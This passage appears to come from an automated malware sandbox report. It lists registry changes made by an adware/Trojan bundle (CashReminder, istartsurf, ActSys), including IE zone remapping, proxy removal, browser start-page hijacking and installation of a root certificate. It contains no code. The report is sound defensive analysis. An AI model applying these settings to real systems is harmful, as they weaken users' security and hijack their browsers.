"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process WdsManPro.exe:612 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 32 C3 3A 34 F8 DD C6 0D 30 01 BF 0F A7 FF 20"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\WdsManPro]
"EventMessageFile" = "%Documents and Settings%\All Users\Appli4"
"TypesSupported" = "7"

The process WdsManPro.exe:1012 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "52 16 40 05 A8 18 86 D8 5B 7E 4B A9 77 78 E0 07"

The process DMZOYZYGB4j34h6c6LiO.exe:348 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 36 BA 54 F0 96 8E 68 3A DF 15 83 EE 24 E1 9C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\CashReminder]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"Publisher" = "Related Deals"

[HKLM\SOFTWARE\CashReminder]
"affid" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"UninstallString" = "%Program Files%\CashReminder\remove.exe /S"

[HKLM\System\CurrentControlSet\Services\CashReminder]
"Description" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (QlYOaIfGuesOSBtrYTYAF70Iqc79C)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayName" = "CashReminder"
"Comments" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (Build: QlYOaIfGuesOSBtrYTYAF70Iqc79C)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayVersion" = "2.1.0"
"QuietUninstallString" = "%Program Files%\CashReminder\remove.exe /S"

The process CashReminder.exe:616 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 4F 2B 9E CA D8 80 E9 52 14 74 07 A4 46 51 DB"

The process CashReminder.exe:1136 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\crfilterdrv]
"Tag" = "13"

[HKLM\SOFTWARE\CashReminder]
"instid" = "WJo1ohMhy36qSr05BodnCGx4v5vFCO2d"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0C 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A0 99 42 E3 17 D4 39 6A 56 F5 09 FE C3 A4 CD 0B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process net.exe:344 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 99 F7 7E 82 DA 66 AF 7E B7 86 25 70 F4 3C F1"

The process net.exe:1740 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D3 51 F7 96 B0 73 36 EF 75 02 4B 71 2A 04 DC 4C"

The process net.exe:136 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A BF 43 F3 23 22 30 94 DE 31 B9 A0 79 A8 C6 A0"

The process QQBrowser.exe:1868 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe"

"DisplayName" = "istartsurf uninstall"
"Publisher" = "istartsurf"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 E0 9A F7 FD 41 CC 38 FD A0 63 80 25 7A 2E EB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe -ptid=pcm"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process QQBrowser.exe:1912 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150912040309\I\tmp]
"wpm_v20.0.0.2301.exe" = "DTools"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150912040309\I\tmp]
"SSFK_v2.0.6.26.exe" = "TODO: "

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BB 91 BC A3 51 91 7E 0A F5 10 02 9E 54 A1 C5 B6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process wpm_v20.0.0.2301.exe:828 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D BF 72 30 70 2D D0 68 19 3C 26 56 70 64 D3 86"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\All Users\Application Data\rWdsManPror]
"WdsManPro.exe" = "DTools"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\WdsManPro]
"ptid" = "pcm"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process ActSys.exe:464 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 05 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0E 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\Services\asfilterdrv]
"Tag" = "15"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 BA 83 F5 4E 62 8D 82 C2 AA 7D F2 88 71 79 F5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\ActSys]
"instid" = "16NQyzvME62kmqc6EfqOq0MZ0NZKartP"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\53EAB6F2D0B03F713A0971C511E596DEE32FE6E6]
"Blob" = "03 00 00 00 01 00 00 00 14 00 00 00 53 EA B6 F2"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates]
"53EAB6F2D0B03F713A0971C511E596DEE32FE6E6"

The process ActSys.exe:248 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "03 34 23 48 DC 79 D3 51 F9 DA 54 28 DE DA B9 30"

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe:224 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150912040309\I]
"QQBrowser.exe" = "QQ浏览器"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150912040309\I\645.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

